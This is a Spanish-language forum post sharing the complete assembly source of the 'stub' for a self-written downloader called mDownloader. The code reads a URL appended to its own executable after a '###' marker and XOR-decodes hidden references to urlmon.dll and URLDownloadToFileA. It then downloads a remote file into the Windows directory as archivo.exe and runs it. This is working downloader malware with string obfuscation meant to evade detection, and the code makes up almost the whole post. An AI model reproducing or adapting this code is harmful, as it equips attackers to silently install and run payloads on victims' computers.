Stub mDownloader

Iniciado por Juan, Febrero 26, 2011, 12:55:36 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 26, 2011, 12:55:36 PM Ultima modificación: Diciembre 08, 2014, 02:42:08 PM por Expermicid
Bueno, este es el código fuente del Stub del mDownloader, un Downloader programado por mi en Asm.

Código: asm
include 'win32ax.inc'

.data
    manija dd ?
    larchivo dd ?
    espacio dd ?
    bleidos dd ?
    dll db 'rukjhi)ckk',0
    funcion db 'RUKChpikhfcShAnkbF',0
    añadir db '%windir%\archivo.exe',0
    ruta dd ?

.code
start:
        xor  eax, eax
        mov  eax, [FS:eax+0x30]
        mov  eax, [DS:eax+0x10]
        mov  eax, [DS:eax+0x3C]

        invoke CreateFileW,eax, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
        mov [manija],eax
        invoke GetFileSize,[manija],0
        mov [larchivo],eax
        invoke GlobalAlloc,GPTR,[larchivo]
        mov [espacio],eax
        invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
        invoke CloseHandle,[manija]

        mov ecx,1
        mov eax,[espacio]
        add [larchivo],10
        bucle:

            .if byte[eax+ecx] = '#'
                inc ecx
                .if byte[eax+ecx] = '#'
                    inc ecx
                    .if byte[eax+ecx] = '#'
                        inc ecx
                        add eax,ecx
                        mov [espacio],eax
                        jmp salir
                    .endif
                    dec ecx
                .endif
                dec ecx
             .endif

             .if ecx > [larchivo]
                 jmp salir
             .endif

             inc ecx
             jmp bucle

        salir:

        invoke GlobalAlloc,GPTR,1024
        mov [ruta],eax
        invoke ExpandEnvironmentStrings,añadir,[ruta],1024

        stdcall Cifrar,dll
        invoke LoadLibrary,eax

        push eax
        stdcall Cifrar,funcion
        mov ecx,eax
        pop eax

        invoke GetProcAddress,eax,ecx

        push 0
        push 0
        push [ruta]
        push [espacio]
        push 0

        call eax

        invoke ShellExecute,0,"open",[ruta],0,0,0

        leave
        ret

        proc Cifrar,Cadena
            xor ecx,ecx
            mov eax,[Cadena]
            .bucle:
                .if byte[eax+ecx] = 0
                    jmp .salir
                .endif
                xor byte[eax+ecx],7
                inc ecx
                jmp .bucle
            .salir:
            ret
         endp
.end start   


salu2!